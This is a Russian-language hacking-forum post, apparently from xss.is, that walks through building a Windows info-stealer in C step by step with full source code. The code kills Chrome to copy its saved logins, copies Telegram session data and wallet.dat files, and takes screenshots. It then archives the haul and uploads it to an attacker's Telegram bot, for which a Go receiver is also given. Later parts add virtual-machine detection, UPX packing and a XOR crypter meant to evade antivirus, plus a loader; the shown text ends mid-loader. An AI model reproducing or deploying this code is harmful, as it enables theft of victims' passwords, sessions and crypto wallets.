Пишем стилер на C

D2

Администратор
Регистрация
19 Фев 2025
Сообщения
4,380
Реакции
0
Автор: miserylord
Эксклюзивно для форума:
xss.is

Улыбнись этому миру, miserylord на связи!

В этой статье мы разберем процесс написания простого инфо-стилера на языке C. Переходим к практике!

Собираем информацию

Итак, инфо-стилер — это вид малвари, который, как следует из названия, предназначен для сбора информации с зараженных целей. Писать код я буду под операционную систему Windows. Сам процесс будет построен от написания небольшой программы, буквально концепта, до чего-то более сложного и глобального.

Начнем со сбора информации о системе. Задача заключается в том, чтобы собрать информацию об устройстве, на котором был запущен код, и сохранить результат в файл info.txt.

Для работы с Windows мы будем использовать программный интерфейс (API), который в Windows называется Win32, а его методы описаны в документации на сайте Microsoft.

C: Скопировать в буфер обмена
Код:
// 1
#include <stdio.h>
#include <windows.h>
#include <tchar.h>

void collectSystemInfo() {
    // 2
    FILE *file = fopen("info.txt", "w");
    if (file == NULL) {
        printf("Ошибка открытия файла для записи.\n");
        return;
    }

    // 3
    OSVERSIONINFO osvi;
    osvi.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);
    if (GetVersionEx(&osvi)) {
        fprintf(file, "Система: Windows\n");
        fprintf(file, "Версия ОС: %lu.%lu (Build %lu)\n",
                osvi.dwMajorVersion,
                osvi.dwMinorVersion,
                osvi.dwBuildNumber);
    } else {
        fprintf(file, "Не удалось получить информацию о версии ОС.\n\n");
    }

    // 4
    SYSTEM_INFO si;
    GetSystemInfo(&si);
    fprintf(file, "Архитектура процессора: ");
    switch (si.wProcessorArchitecture) {
        case PROCESSOR_ARCHITECTURE_AMD64:
            fprintf(file, "x64 (AMD or Intel)\n");
            break;
        case PROCESSOR_ARCHITECTURE_INTEL:
            fprintf(file, "x86\n");
            break;
        case PROCESSOR_ARCHITECTURE_ARM:
            fprintf(file, "ARM\n");
            break;
        default:
            fprintf(file, "Unknown architecture\n");
            break;
    }
    fprintf(file, "Количество процессоров: %lu\n", si.dwNumberOfProcessors);

    // 5
    MEMORYSTATUSEX statex;
    statex.dwLength = sizeof(statex);
    if (GlobalMemoryStatusEx(&statex)) {
        fprintf(file, "\nФизическая память (всего): %llu MB\n",
                statex.ullTotalPhys / (1024 * 1024));
        fprintf(file, "Физическая память (свободно): %llu MB\n",
                statex.ullAvailPhys / (1024 * 1024));
        fprintf(file, "Виртуальная память (всего): %llu MB\n",
                statex.ullTotalPageFile / (1024 * 1024));
        fprintf(file, "Виртуальная память (свободно): %llu MB\n",
                statex.ullAvailPageFile / (1024 * 1024));
    } else {
        fprintf(file, "Не удалось получить информацию о памяти.\n");
    }

    // 6
    TCHAR computerName[256];
    DWORD size = sizeof(computerName) / sizeof(computerName[0]);
    if (GetComputerName(computerName, &size)) {
        fprintf(file, "\nИмя компьютера: %s\n", computerName);
    } else {
        fprintf(file, "\nНе удалось получить имя компьютера.\n");
    }

    // 7
    fclose(file);
    printf("Информация успешно сохранена в файл info.txt.\n");
}

// 8
int main() {
    collectSystemInfo();
    return 0;
}
  1. Подключаем библиотеку windows.h, которая предоставляет доступ к функциям операционной системы Windows.
  2. Открываем файл info.txt для записи. Если файл не удается открыть, выводим ошибку.
  3. Получаем информацию о версии операционной системы. Описание метода — [OSVERSIONINFOA (winnt.h) - Win32 apps | Microsoft Learn](https://learn.microsoft.com/en-us/windows/win32/api/winnt/ns-winnt-osversioninfoa). Создаем структуру и задаем размер в соответствии с документацией.
  4. Получаем информацию о процессоре и количестве процессоров. Получаем информацию о системе, проверяем архитектуру процессора и записываем количество процессоров.
  5. Получаем информацию о памяти (физической и виртуальной). Переводим значения из байт в мегабайты.
  6. Получаем имя компьютера. Тип TCHAR — это тип, который может быть как char, так и wchar_t, в зависимости от того, используется ли кодировка ANSI или Unicode. Вычисляем размер буфера, который будет передан в функцию GetComputerName.
  7. Закрываем файл и выводим сообщение о успешном завершении.
  8. Вызываем функцию для сбора информации в main функции.

Для сборки используем компилятор mingw32-gcc. Проверяем код и убеждаемся, что он успешно работает.

Перейдем к браузерам. Самым популярным браузером является Google Chrome. Файлы располагаются в директории C:\Users\User\AppData\Local\Google\Chrome\User Data. Можно было бы скопировать всю директорию целиком, но она занимает несколько гигабайт данных, поэтому придется подходить более избирательно. Сконцентрируем внимание на файле Login Data. Этот файл хранит информацию о сохранённых пользователем данных для входа на веб-сайты в браузере. Для корректного копирования файлов необходимо хорошо разобраться, за что отвечает каждый файл программы, и понять, как с ним работать. В целом, если мы перенесём всю папку с одного устройства на другое, и версии программы и операционной системы будут идентичными, то проблем с использованием этих данных возникнуть не должно. (Говоря о файле Login Data, стоит отметить, что он зашифрован. Для его расшифровки необходимо использовать API Windows DPAPI. Файл представляет собой базу данных SQLite.)

Код будет выглядеть следующим образом:
C: Скопировать в буфер обмена
Код:
// 1
void killProcessByName(const TCHAR *processName) {
    HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    if (hSnapshot == INVALID_HANDLE_VALUE) {
        _tprintf(_T("Не удалось создать снимок процессов.\n"));
        return;
    }

    PROCESSENTRY32 pe32;
    pe32.dwSize = sizeof(PROCESSENTRY32);

    if (Process32First(hSnapshot, &pe32)) {
        do {
            if (_tcsicmp(pe32.szExeFile, processName) == 0) {
                HANDLE hProcess = OpenProcess(PROCESS_TERMINATE, FALSE, pe32.th32ProcessID);
                if (hProcess) {
                    _tprintf(_T("Завершаем процесс: %s (PID: %u)\n"), processName, pe32.th32ProcessID);
                    TerminateProcess(hProcess, 0);
                    CloseHandle(hProcess);
                } else {
                    _tprintf(_T("Не удалось открыть процесс %s для завершения.\n"), processName);
                }
            }
        } while (Process32Next(hSnapshot, &pe32));
    } else {
        _tprintf(_T("Не удалось получить список процессов.\n"));
    }

    CloseHandle(hSnapshot);
}

// 2
void copyChromeProfiles() {
    TCHAR chromePath[MAX_PATH], loginDataPath[MAX_PATH], destPath[MAX_PATH];

    if (SUCCEEDED(SHGetFolderPath(NULL, CSIDL_LOCAL_APPDATA, NULL, 0, chromePath))) {
        _tcscat(chromePath, _T("\\Google\\Chrome\\User Data\\Default"));
        _tcscat(chromePath, _T("\\Login Data"));

        GetCurrentDirectory(MAX_PATH, destPath);
        _tcscat(destPath, _T("\\ChromeLoginData"));

        _tprintf(_T("Копирование файла Login Data Chrome...\n"));
        CopyFile(chromePath, destPath, FALSE);
        _tprintf(_T("Копирование файла Login Data завершено.\n"));
    } else {
        _tprintf(_T("Не удалось найти путь профилей Chrome.\n"));
    }
}

// 3
int main() {
    collectSystemInfo();
    killProcessByName(_T("chrome.exe"));
    copyChromeProfiles();
    return 0;
}


  1. Завершение процесса Chrome перед копированием файла Login Data является необходимой мерой для обеспечения корректного, безопасного и полного копирования данных, а также для предотвращения ошибок доступа, которые могут возникнуть при попытке скопировать файл, к которому существует активный доступ со стороны программы. Функция создаёт снимок всех процессов в системе с помощью CreateToolhelp32Snapshot. Затем она перебирает все процессы, используя Process32First и Process32Next. Если имя текущего процесса совпадает с заданным, открывается этот процесс для завершения через OpenProcess. После этого процесс завершает свою работу через TerminateProcess. В конце закрывается хэндл снимка с помощью CloseHandle.
  2. Функция находит файл Login Data для Google Chrome. Путь к этому файлу формируется с использованием SHGetFolderPath для получения пути к каталогу приложения Chrome. Файл Login Data копируется в текущую рабочую директорию с помощью функции CopyFile.
  3. Вызываем новые функции в основной функции.

Проверяем код и видим, что всё работает успешно!

Вообще, папка AppData — это скрытая системная директория Windows, предназначенная для хранения конфигурационных файлов, кэшированных данных, журналов, сессий и других файлов, которые могут изменяться во время работы приложений. Например, расширения, среди которых будут присутствовать криптокошельки, будут находиться по адресу: AppData\Local\Google\Chrome\User Data\Default\Extension.

В папке Roaming (в директории AppData) приложения сохраняют настройки и данные, которые должны оставаться постоянными для конкретного пользователя, даже если он войдёт в систему с другого компьютера.

Давайте добавим функционал для копирования файлов t_data, отвечающих за сессии Telegram
C: Скопировать в буфер обмена
Код:
// 1
void copyDirectory(const TCHAR *source, const TCHAR *destination) {
    WIN32_FIND_DATA findFileData;
    HANDLE hFind = INVALID_HANDLE_VALUE;

    TCHAR sourcePath[MAX_PATH];
    _stprintf_s(sourcePath, MAX_PATH, _T("%s\\*"), source);

    hFind = FindFirstFile(sourcePath, &findFileData);
    if (hFind == INVALID_HANDLE_VALUE) {
        _tprintf(_T("Не удалось найти файлы в директории %s\n"), source);
        return;
    }

    do {
        if (_tcscmp(findFileData.cFileName, _T(".")) == 0 || _tcscmp(findFileData.cFileName, _T("..")) == 0) {
            continue;
        }

        TCHAR sourceFile[MAX_PATH], destFile[MAX_PATH];

        _stprintf_s(sourceFile, MAX_PATH, _T("%s\\%s"), source, findFileData.cFileName);
        _stprintf_s(destFile, MAX_PATH, _T("%s\\%s"), destination, findFileData.cFileName);

        if (findFileData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) {
            CreateDirectory(destFile, NULL);
            copyDirectory(sourceFile, destFile);
        } else {
            if (!CopyFile(sourceFile, destFile, FALSE)) {
                _tprintf(_T("Не удалось скопировать файл %s\n"), sourceFile);
            }
        }
    } while (FindNextFile(hFind, &findFileData) != 0);

    FindClose(hFind);
}

// 2
void copyTelegramData() {
    TCHAR appDataPath[MAX_PATH], telegramPath[MAX_PATH], destPath[MAX_PATH];

    if (SUCCEEDED(SHGetFolderPath(NULL, CSIDL_APPDATA, NULL, 0, appDataPath))) {
        _stprintf_s(telegramPath, MAX_PATH, _T("%s\\Telegram Desktop\\tdata"), appDataPath);

        GetCurrentDirectory(MAX_PATH, destPath);
        _tcscat_s(destPath, MAX_PATH, _T("\\TelegramDesktop"));

        if (CreateDirectory(destPath, NULL) || GetLastError() == ERROR_ALREADY_EXISTS) {
            _tprintf(_T("Копирование данных из папки Telegram Desktop...\n"));
            copyDirectory(telegramPath, destPath);
            _tprintf(_T("Копирование папки Telegram Desktop завершено.\n"));
        } else {
            _tprintf(_T("Не удалось создать папку для копирования.\n"));
        }
    } else {
        _tprintf(_T("Не удалось получить путь к папке AppData.\n"));
    }
}


  1. Рекурсивная функция копирования: Она копирует содержимое одной директории в другую, включая файлы и подпапки. В функцию передаются параметры пути к исходной директории и к целевой директории. Используется структура WIN32_FIND_DATA для получения информации о файлах и папках. Вызов FindFirstFile ищет первый файл или папку в директории. Затем происходит последовательный перебор всех файлов и папок в директории. Проверяются имена элементов на равенство . и .. (служебные папки, обозначающие текущую и родительскую директории). Формируются полные пути для текущего файла или папки в sourceFile и destFile. Если текущий элемент — папка, создаётся соответствующая папка в целевой директории с помощью CreateDirectory, и функция вызывается рекурсивно для этой папки. Если текущий элемент — файл, используется функция CopyFile для копирования из sourceFile в destFile. После завершения цикла поиска вызывается FindClose для освобождения ресурсов.
  2. Функция подготовки путей и вызова copyDirectory: Она подготавливает пути для копирования данных Telegram и вызывает copyDirectory. Сперва возвращается путь к папке AppData для текущего пользователя (CSIDL_APPDATA). Этот путь сохраняется в appDataPath. К пути AppData добавляется поддиректория Telegram Desktop\tdata для доступа к данным Telegram. Получается текущая рабочая директория. К пути добавляется \TelegramDesktop для хранения данных Telegram. Если папка успешно создана (или уже существует), вызывается copyDirectory для копирования данных из исходной директории telegramPath в destPath. Если не удалось создать папку или получить путь к AppData, выводятся сообщения об ошибке.

Добавим ещё несколько функций:

Функция рекурсивного поиска файлов wallet.dat в системе:
C: Скопировать в буфер обмена
Код:
void findAndCopyDatFiles(const TCHAR *directory, const TCHAR *destination) {
    WIN32_FIND_DATA findFileData;
    HANDLE hFind = INVALID_HANDLE_VALUE;

    TCHAR searchPath[MAX_PATH];
    _stprintf_s(searchPath, MAX_PATH, _T("%s\\*"), directory);

    hFind = FindFirstFile(searchPath, &findFileData);
    if (hFind == INVALID_HANDLE_VALUE) {
        return;
    }

    do {
        if (_tcscmp(findFileData.cFileName, _T(".")) == 0 || _tcscmp(findFileData.cFileName, _T("..")) == 0) {
            continue;
        }

        TCHAR sourcePath[MAX_PATH], destPath[MAX_PATH];
        _stprintf_s(sourcePath, MAX_PATH, _T("%s\\%s"), directory, findFileData.cFileName);
        _stprintf_s(destPath, MAX_PATH, _T("%s\\%s"), destination, findFileData.cFileName);

        if (findFileData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) {
            findAndCopyDatFiles(sourcePath, destination);
        } else {
            if (_tcsstr(findFileData.cFileName, _T("wallet.dat")) != NULL) {
                CopyFile(sourcePath, destPath, FALSE);
            }
        }
    } while (FindNextFile(hFind, &findFileData) != 0);

    FindClose(hFind);
}

Функция ищет все файлы и папки в заданной директории. Для папок выполняется рекурсивный поиск с углублением в их содержимое. Если в имени файла содержится строка wallet.dat, файл копируется в указанную целевую папку.

Функция для создания скриншота и сохранения его в формате BMP:
C: Скопировать в буфер обмена
Код:
void takeScreenshot(const TCHAR *filePath) {
    HWND hwndDesktop = GetDesktopWindow();
    HDC hdcScreen = GetDC(hwndDesktop);
    HDC hdcMemory = CreateCompatibleDC(hdcScreen);

    RECT desktopRect;
    GetClientRect(hwndDesktop, &desktopRect);

    int width = desktopRect.right;
    int height = desktopRect.bottom;

    HBITMAP hBitmap = CreateCompatibleBitmap(hdcScreen, width, height);
    SelectObject(hdcMemory, hBitmap);

    BitBlt(hdcMemory, 0, 0, width, height, hdcScreen, 0, 0, SRCCOPY);

    BITMAPFILEHEADER bfh;
    BITMAPINFOHEADER bih;

    bih.biSize = sizeof(BITMAPINFOHEADER);
    bih.biWidth = width;
    bih.biHeight = -height;
    bih.biPlanes = 1;
    bih.biBitCount = 32;
    bih.biCompression = BI_RGB;
    bih.biSizeImage = 0;
    bih.biXPelsPerMeter = 0;
    bih.biYPelsPerMeter = 0;
    bih.biClrUsed = 0;
    bih.biClrImportant = 0;

    DWORD bitmapSize = ((width * bih.biBitCount + 31) / 32) * 4 * height;
    char *bitmapData = (char *)malloc(bitmapSize);

    if (!bitmapData) {
        printf("Ошибка: недостаточно памяти для создания скриншота.\n");
        DeleteObject(hBitmap);
        DeleteDC(hdcMemory);
        ReleaseDC(hwndDesktop, hdcScreen);
        return;
    }

    GetDIBits(hdcMemory, hBitmap, 0, height, bitmapData, (BITMAPINFO *)&bih, DIB_RGB_COLORS);

    FILE *file = _tfopen(filePath, _T("wb"));
    if (file) {
        bfh.bfType = 0x4D42;
        bfh.bfSize = sizeof(BITMAPFILEHEADER) + sizeof(BITMAPINFOHEADER) + bitmapSize;
        bfh.bfReserved1 = 0;
        bfh.bfReserved2 = 0;
        bfh.bfOffBits = sizeof(BITMAPFILEHEADER) + sizeof(BITMAPINFOHEADER);

        fwrite(&bfh, sizeof(BITMAPFILEHEADER), 1, file);
        fwrite(&bih, sizeof(BITMAPINFOHEADER), 1, file);
        fwrite(bitmapData, bitmapSize, 1, file);

        fclose(file);
    } else {
        printf("Ошибка: не удалось открыть файл для записи.\n");
    }

    free(bitmapData);
    DeleteObject(hBitmap);
    DeleteDC(hdcMemory);
    ReleaseDC(hwndDesktop, hdcScreen);
}


Функция работает следующим образом: Получает размеры рабочего стола. Создаёт растровое изображение, совместимое с экраном. Копирует содержимое экрана в растровое изображение. Извлекает пиксельные данные и записывает их в файл BMP. Освобождает используемые ресурсы.

После сбора всей информации её необходимо отправить. Однако перед этим нужно уменьшить объём данных, поместив их в архив. Для этого я буду использовать утилиту WinRAR (с помощью системной команды), которая установлена на многих компьютерах. Это будет выполнено в следующей функции.
C: Скопировать в буфер обмена
Код:
void createRarFromFolder(const char *folderPath, const char *rarFilePath) {
    char command[MAX_PATH];
    snprintf(command, MAX_PATH, "rar a -r \"%s\" \"%s\\*\"", rarFilePath, folderPath);


    printf("Создание RAR архива командой: %s\n", command);
    int result = system(command);

    if (result == 0) {
        printf("RAR архив успешно создан: %s\n", rarFilePath);
    } else {
        printf("Ошибка при создании RAR архива.\n");
    }
}

Предполагается, что переменная PATH содержит путь к WinRAR. Также можно использовать строку с полным путём, например: snprintf(command, MAX_PATH, "\"C:\\Program Files\\WinRAR\\rar.exe\" a -r %s %s\\*", rarFilePath, folderPath);

Отправка информации

Следующим шагом будет отправка полученной информации. В качестве приёмника/передатчика информации могут выступать различные серверы, включая серверы Telegram-бота.

Сам Telegram-бот будет реализован на языке Golang. В первую очередь необходимо создать Telegram-бота, получить и сохранить токен, затем написать ему команду /start и обратиться к эндпоинту https://api.telegram.org/bot{our_bot_token}/getUpdates, чтобы узнать chat ID. Это позволит боту отправлять полученные данные только в нужный чат.

Мы воспользуемся библиотекой github.com/go-telegram-bot-api/telegram-bot-api. Код будет выглядеть следующим образом. После запуска кода мы вернёмся к проекту на языке C.

C-подобный: Скопировать в буфер обмена
Код:
package main

import (
    "fmt"
    "io"
    "log"
    "net/http"
    "os"

    tgbotapi "github.com/go-telegram-bot-api/telegram-bot-api/v5"
)

func downloadFile(bot *tgbotapi.BotAPI, fileID, savePath string) error {
    file, err := bot.GetFile(tgbotapi.FileConfig{FileID: fileID})
    if err != nil {
        return fmt.Errorf("не удалось получить информацию о файле: %v", err)
    }

    fileURL := file.Link(bot.Token)

    resp, err := http.Get(fileURL)
    if err != nil {
        return fmt.Errorf("ошибка при загрузке файла: %v", err)
    }
    defer resp.Body.Close()

    out, err := os.Create(savePath)
    if err != nil {
        return fmt.Errorf("не удалось создать файл %s: %v", savePath, err)
    }
    defer out.Close()

    _, err = io.Copy(out, resp.Body)
    if err != nil {
        return fmt.Errorf("ошибка при сохранении файла: %v", err)
    }

    return nil
}

func main() {
    botToken := ""
    adminChatID := int64()

    bot, err := tgbotapi.NewBotAPI(botToken)
    if err != nil {
        log.Fatalf("Ошибка создания бота: %v", err)
    }

    u := tgbotapi.NewUpdate(0)
    u.Timeout = 60

    updates := bot.GetUpdatesChan(u)

    for update := range updates {
        if update.Message != nil {
            if update.Message.Document != nil {
                fileID := update.Message.Document.FileID

                savePath := "received_file.rar"

                err := downloadFile(bot, fileID, savePath)
                if err != nil {
                    log.Printf("Ошибка загрузки файла: %v\n", err)
                    continue
                }

                msg := tgbotapi.NewMessage(adminChatID, "Файл успешно загружен и сохранен как received_file.rar")
                _, err = bot.Send(msg)
                if err != nil {
                    log.Printf("Ошибка отправки уведомления администратору: %v\n", err)
                }

                fmt.Printf("Файл получен и сохранен как %s\n", savePath)
            }
        }
    }
}

Реализация функции sendFileToTelegram.
C: Скопировать в буфер обмена
Код:
BOOL sendFileToTelegram(const char *filePath, const char *botToken, const char *chatID) {

    char url[512];
    snprintf(url, sizeof(url), "/bot%s/sendDocument", botToken);

    // 1
    HINTERNET hInternet = InternetOpenA("TelegramUploader", INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
    if (!hInternet) {
        printf("Ошибка: InternetOpenA\n");
        return FALSE;
    }

    // 2
    HINTERNET hSession = InternetConnectA(hInternet, "api.telegram.org", INTERNET_DEFAULT_HTTPS_PORT, NULL, NULL, INTERNET_SERVICE_HTTP, 0, 0);
    if (!hSession) {
        printf("Ошибка: InternetConnectA\n");
        InternetCloseHandle(hInternet);
        return FALSE;
    }

    // 3
    HINTERNET hRequest = HttpOpenRequestA(hSession, "POST", url, NULL, NULL, NULL, INTERNET_FLAG_SECURE, 0);
    if (!hRequest) {
        printf("Ошибка: HttpOpenRequestA\n");
        InternetCloseHandle(hSession);
        InternetCloseHandle(hInternet);
        return FALSE;
    }

    // 4
    FILE *file = fopen(filePath, "rb");
    if (!file) {
        printf("Ошибка: Не удалось открыть файл %s\n", filePath);
        InternetCloseHandle(hRequest);
        InternetCloseHandle(hSession);
        InternetCloseHandle(hInternet);
        return FALSE;
    }

    // 5
    fseek(file, 0, SEEK_END);
    long fileSize = ftell(file);
    rewind(file);

    char *fileContent = (char *)malloc(fileSize);
    if (!fileContent) {
        printf("Ошибка: Недостаточно памяти для содержимого файла\n");
        fclose(file);
        InternetCloseHandle(hRequest);
        InternetCloseHandle(hSession);
        InternetCloseHandle(hInternet);
        return FALSE;
    }

    fread(fileContent, 1, fileSize, file);
    fclose(file);

    // 6
    char headers[] = "Content-Type: multipart/form-data; boundary=---Boundary";
    char bodyStart[1024];
    snprintf(bodyStart, sizeof(bodyStart),
        "-----Boundary\r\n"
        "Content-Disposition: form-data; name=\"chat_id\"\r\n\r\n%s\r\n"
        "-----Boundary\r\n"
        "Content-Disposition: form-data; name=\"document\"; filename=\"archive.rar\"\r\n"
        "Content-Type: application/octet-stream\r\n\r\n",
        chatID);

    char bodyEnd[] = "\r\n-----Boundary--";
    DWORD bodySize = strlen(bodyStart) + fileSize + strlen(bodyEnd);

    char *body = (char *)malloc(bodySize);
    memcpy(body, bodyStart, strlen(bodyStart));
    memcpy(body + strlen(bodyStart), fileContent, fileSize);
    memcpy(body + strlen(bodyStart) + fileSize, bodyEnd, strlen(bodyEnd));

    // 7
    BOOL sendResult = HttpSendRequestA(hRequest, headers, strlen(headers), body, bodySize);

    if (!sendResult) {
        printf("Ошибка: HttpSendRequestA\n");
    } else {
        printf("Файл успешно отправлен в Telegram\n");
    }

    free(fileContent);
    free(body);
    InternetCloseHandle(hRequest);
    InternetCloseHandle(hSession);
    InternetCloseHandle(hInternet);

    return sendResult;
}


Функция будет использовать библиотеку Windows Internet (WinINet), которая предоставляет API для взаимодействия с интернет-протоколами. Разберём её подробнее:

  1. Инициализация доступа к Интернету. "TelegramUploader" — это имя приложения (отображается в User-Agent). Соединение осуществляется напрямую, без прокси. Функция возвращает хендл HINTERNET, который используется в дальнейших вызовах API.
  2. Открытие соединения с сервером. Соединение устанавливается с сервером Telegram API по адресу "api.telegram.org" на порту 443. Возвращается хендл, представляющий сессию. Если соединение установить не удалось, ресурсы, выделенные на предыдущем шаге, освобождаются с помощью InternetCloseHandle.
  3. Создание HTTP-запроса. На этом этапе формируется HTTP-запрос для взаимодействия с API.
  4. Открытие файла. Файл по указанному пути открывается в бинарном режиме (rb). Это означает, что файл читается как есть, без преобразований содержимого.
  5. Чтение содержимого файла. Сначала с помощью fseek и ftell определяется размер файла. Затем с помощью malloc выделяется память под содержимое файла, а функция fread загружает данные файла в буфер fileContent.
  6. Формирование тела запроса. В заголовках указывается тип содержимого multipart/form-data с границей ---Boundary. Формируется часть тела запроса bodyStart, которая содержит параметры chat_id и начало файла. В конце добавляется завершающая граница bodyEnd. Для объединения начала, содержимого файла и конца в единый буфер body используется функция memcpy.
  7. Отправка HTTP-запроса и освобождение ресурсов. Запрос отправляется с использованием подготовленного тела. После этого освобождаются все ресурсы, включая память, выделенную под буферы, и закрываются все хендлы.

В качестве альтернативы использованию Telegram может выступать другой сервер, то есть самостоятельно разработанный сервер на каком-либо языке программирования. Можно использовать как HTTP-протокол, так и WebSocket. По сути, сервер будет выступать архитектурным решением типа C2: он сможет собирать данные, выводить их в удобном виде, собирать статистику и выполнять любые функции, которые мы захотим добавить к коду программы.

Мы также можем использовать различные альтернативные протоколы, например, протоколы почтовых серверов.

Дальнейшие шаги

Реализуем код, который будет проверять, не запущена ли программа в виртуальном окружении. Код будет анализировать сразу несколько возможных паттернов.

C: Скопировать в буфер обмена
Код:
// 1
int isVirtualMachineByBios() {
    char biosData[256] = {0};
    HKEY hKey;
    if (RegOpenKeyExA(HKEY_LOCAL_MACHINE, "HARDWARE\\DESCRIPTION\\System", 0, KEY_READ, &hKey) != ERROR_SUCCESS) {
        return 0;
    }

    DWORD size = sizeof(biosData);
    if (RegQueryValueExA(hKey, "SystemBiosVersion", NULL, NULL, (LPBYTE)biosData, &size) == ERROR_SUCCESS) {
        if (strstr(biosData, "VMware") || strstr(biosData, "VirtualBox") ||
            strstr(biosData, "VBOX") || strstr(biosData, "QEMU") || strstr(biosData, "Hyper-V")) {
            RegCloseKey(hKey);
            return 1;
        }
    }
    RegCloseKey(hKey);
    return 0;
}

// 2
int isVirtualMachineByProcess() {
    const char *vmProcesses[] = {"vmtoolsd.exe", "VBoxService.exe", "VBoxTray.exe", "vmware.exe", "qemu-ga.exe"};
    PROCESSENTRY32 entry;
    entry.dwSize = sizeof(PROCESSENTRY32);

    HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    if (snapshot == INVALID_HANDLE_VALUE) return 0;

    if (Process32First(snapshot, &entry)) {
        do {
            for (int i = 0; i < sizeof(vmProcesses) / sizeof(vmProcesses[0]); i++) {
                if (_stricmp(entry.szExeFile, vmProcesses[i]) == 0) {
                    CloseHandle(snapshot);
                    return 1;
                }
            }
        } while (Process32Next(snapshot, &entry));
    }
    CloseHandle(snapshot);
    return 0;
}


// 3
int isVirtualMachineByDrivers() {
    const char *vmDrivers[] = {"VBoxSF", "VBoxMouse", "VBoxGuest", "vmhgfs", "vmci"};
    for (int i = 0; i < sizeof(vmDrivers) / sizeof(vmDrivers[0]); i++) {
        if (GetModuleHandleA(vmDrivers[i]) != NULL) {
            return 1;
        }
    }
    return 0;
}

// 4
int isRunningOnVirtualMachine() {
    if (isVirtualMachineByBios()) {
        printf("Обнаружена виртуальная машина через BIOS!\n");
        return 1;
    }

    if (isVirtualMachineByProcess()) {
        printf("Обнаружена виртуальная машина по процессам!\n");
        return 1;
    }

    if (isVirtualMachineByDrivers()) {
        printf("Обнаружена виртуальная машина по драйверам!\n");
        return 1;
    }

    return 0;
}


  1. Функция проверяет наличие признаков виртуальной машины через информацию о BIOS. Открывается ключ реестра HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System для чтения, и считывается значение, содержащее информацию о BIOS. Далее оно сравнивается с известными строками, которые могут указывать на виртуальные машины: VMware, VirtualBox, VBOX, QEMU, Hyper-V.
  2. Следующая функция проверяет, запущены ли процессы, типичные для виртуальных машин. Используется CreateToolhelp32Snapshot для получения списка всех активных процессов. Затем выполняется итерация по всем процессам, и каждый процесс сравнивается с известными именами исполняемых файлов, связанными с виртуальными машинами.
  3. Функция проверяет наличие драйверов, характерных для виртуальных машин. Создаётся список известных виртуальных драйверов. Для каждого драйвера вызывается функция GetModuleHandleA, чтобы проверить, загружен ли он в память.
  4. Все проверки объединяются в рамках одной функции для комплексного анализа.

Для уменьшения размера исполняемого файла, затруднения статического анализа и обхода сигнатурного анализа воспользуемся упаковщиком UPX (Ultimate Packer for eXecutables). Принцип работы следующий: исходный файл → UPX сжимает и добавляет декомпрессор → создаётся новый исполняемый файл. При запуске: декомпрессор загружает сжатый код → распаковывает его в оперативную память → выполняет оригинальный код.

Команда для работы: upx --best -o main_packed.exe main.exe. Флаг --best указывает UPX использовать максимальный уровень сжатия, флаг -o означает output (выходной файл).

Далее попробуем реализовать простой криптор файла. Криптор служит для схожих задач с упаковщиком, за исключением того, что криптор заточен на обход антивирусных систем, тогда как упаковщик предназначен для сжатия исполняемого файла.

В его алгоритме используется XOR-операция с заданным ключом. XOR (исключающее ИЛИ) — это логическая операция, которая работает с двумя битами. Она сравнивает два бита и возвращает 1, если эти биты разные, и 0, если они одинаковые. Каждый байт из исходного файла будет подвергаться операции XOR с определённым значением ключа.

Предположим, у нас есть символ (байт) с ASCII значением 65 (это символ "A"). И наш ключ — 123 (в десятичной системе):

  • Исходный символ (байт): 65 (в двоичной системе 01000001)
  • Ключ (123) в двоичной системе: 01111011

Теперь применяем XOR: 01000001 (65) XOR 01111011 (123) = 00111010 (58).

Результат: 58 (в десятичной системе), что соответствует символу ":". Таким образом, символ "A" с помощью XOR-операции и ключа 123 превращается в символ ":".

Процесс дешифровки работает так же, потому что XOR имеет свойство, при котором дважды применённая операция XOR с одним и тем же ключом возвращает исходное значение. То есть, если мы зашифровали файл с помощью XOR, мы можем снова применить XOR с тем же ключом, чтобы восстановить исходные данные.

Перей
C: Скопировать в буфер обмена
Код:
дём к коду криптора:

#include <stdio.h>
#include <stdlib.h>

void xorEncryptDecrypt(const char *inputFile, const char *outputFile, const char key) {
    FILE *in = fopen(inputFile, "rb");
    FILE *out = fopen(outputFile, "wb");

    if (!in || !out) {
        printf("Ошибка при открытии файлов.\n");
        return;
    }

    int byte;
    while ((byte = fgetc(in)) != EOF) {
        fputc(byte ^ key, out);
    }

    fclose(in);
    fclose(out);
    printf("Файл успешно обработан.\n");
}

int main(int argc, char *argv[]) {
    if (argc != 4) {
        printf("Использование: %s <inputFile> <outputFile> <key>\n", argv[0]);
        return 1;
    }

    const char key = (char)atoi(argv[3]);
    xorEncryptDecrypt(argv[1], argv[2], key);
    return 0;
}


Читаем каждый байт исходного файла, реализуем операцию XOR с ключом и записываем результат в выходной файл.

Напишем также условный лоудер простейшей формы. Его задача — восстанавливать файл, запускать его и удалять, тем самым временно расшифровывая код только в памяти.
C: Скопировать в буфер обмена
Код:
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>

void xorDecryptToFile(const char *encryptedFile, const char *outputFile, const char key) {
    FILE *in = fopen(encryptedFile, "rb");
    FILE *out = fopen(outputFile, "wb");

    if (!in || !out) {
        printf("Ошибка открытия файлов.\n");
        if (in) fclose(in);
        if (out) fclose(out);
        return;
    }

    int byte;
    while ((byte = fgetc(in)) != EOF) {
        fputc(byte ^ key, out);
    }

    fclose(in);
    fclose(out);
    printf("Файл успешно дешифрован в %s\n", outputFile);
}

int main(int argc, char *argv[]) {
    if (argc != 3) {
        printf("Использование: %s <encryptedFile> <key>\n", argv[0]);
        return 1;
    }

    const char key = (char)atoi(argv[2]);
    const char *tempFile = "temp_main.exe";

    xorDecryptToFile(argv[1], tempFile, key);

    printf("Запуск временного файла...\n");
    STARTUPINFO si = { sizeof(STARTUPINFO) };
    PROCESS_INFORMATION pi;

    if (!CreateProcess(NULL, tempFile, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi)) {
        printf("Ошибка запуска процесса.\n");
        return 1;
    }

    WaitForSingleObject(pi.hProcess, INFINITE);
    CloseHandle(pi.hProcess);
    CloseHandle(pi.hThread);

    if (remove(tempFile) == 0) {
        printf("Временный файл удалён.\n");
    } else {
        printf("Не удалось удалить временный файл.\n");
    }

    return 0;
